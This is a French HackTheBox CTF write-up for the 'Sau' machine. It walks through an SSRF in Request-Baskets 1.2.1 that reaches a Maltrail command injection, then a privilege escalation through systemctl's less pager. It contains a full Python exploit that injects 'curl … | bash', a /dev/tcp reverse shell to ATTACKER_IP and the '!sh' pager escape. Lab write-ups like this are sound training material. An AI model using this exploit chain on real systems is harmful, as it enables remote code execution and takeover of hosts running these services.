> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md). # Compte rendu HackTheBox de Sau {% embed url="" %} {% hint style="warning" %} **Compétences :** * SSRF de Request-Baskets * Injection de commandes Maltrail * `systemctl` échappement du pager {% endhint %} ## Reconnaissance Créer un espace de travail pour la sortie du scan, le contenu et les exploits. ```bash mkdir {nmap,content,script,exploit} ```

Commencez par un scan TCP complet. Le port `22` et le port `55555` sont ouverts. ```bash nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts ```

Identifiez les versions des services exposés. ```bash nmap -sCV -p22,55555 10.129.229.26 -oN targeted ```

Le service HTTP est Request-Baskets `1.2.1`.

Cette version est vulnérable à une SSRF via la redirection du panier.

La vulnérabilité nous permet de créer un panier qui transfère les requêtes vers un service interne. {% embed url="" %} ## Accès initial Request-Baskets peut atteindre le service Maltrail local. Le point de terminaison de connexion de Maltrail accepte l'injection de commandes. ### Préparez l'écouteur Créez un script de reverse shell. Remplacez `ATTACKER_IP` par votre adresse VPN. ```bash echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh python3 -m http.server 80 nc -nvlp 4444 ``` ### Exploitez la SSRF Utilisez le proof of concept lié pour créer un panier. Il transfère les requêtes vers `127.0.0.1`. Enregistrez le script suivant sous `exploit.py`. Il crée le panier et déclenche le payload Maltrail. {% code title="exploit.py" overflow="wrap" %} ```python import argparse import json import sys import requests def get_args(): parser = argparse.ArgumentParser( description="Exploite CVE-2023-27163 dans Request-Baskets." ) parser.add_argument("-t", "--target", required=True) parser.add_argument("-p", "--port", type=int, default=80) parser.add_argument("-b", "--basket", required=True) parser.add_argument("--local-ip", required=True) parser.add_argument("--local-port", type=int, default=80) parser.add_argument("--payload-file", required=True) return parser.parse_args() def create_basket(target_url, basket_name): payload = { "forward_url": "http://127.0.0.1", "proxy_response": True, "insecure_tls": False, "expand_path": True, "capacity": 250, } response = requests.post( f"{target_url}/api/baskets/{basket_name}", json=payload, ) if response.status_code in [200, 201, 202]: return response.json()["token"] print(f"Échec de la création du panier : {response.text}") sys.exit(1) def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file): payload_url = f"http://{local_ip}:{local_port}/{payload_file}" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/x-www-form-urlencoded", } data = f"username=;`curl {payload_url} | bash`" response = requests.post( f"{target_url}/{basket_name}/login", data=data, headers=headers, ) if response.status_code in [200, 201, 202]: print("Payload envoyé. Vérifiez l'écouteur.") return print(f"Échec du déclenchement du RCE : {response.text}") def main(): args = get_args() target_url = f"http://{args.target}:{args.port}" token = create_basket(target_url, args.basket) trigger_rce( target_url, args.basket, token, args.local_ip, args.local_port, args.payload_file, ) if __name__ == "__main__": main() ``` {% endcode %} {% code overflow="wrap" %} ```bash python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh ``` {% endcode %} L'exploit interroge le point de terminaison de connexion de Maltrail via le panier. Il télécharge `shell.sh` et renvoie un shell.

### Flag utilisateur

## Élévation de privilèges Vérifiez les autorisations sudo de l'utilisateur actuel. {% code overflow="wrap" %} ```bash sudo -l ``` {% endcode %}

L'utilisateur peut consulter le `trail.service` état en tant que root. `systemctl` ouvre la sortie dans `less`.

Exécutez la commande autorisée. Assurez-vous que la sortie s'ouvre dans le pager. ```bash sudo /usr/bin/systemctl status trail.service ``` Dans `less` , lancez un échappement de shell. {% code overflow="wrap" %} ```bash !sh ``` {% endcode %} Le shell obtenu s'exécute en tant que `root`.

### Flag root

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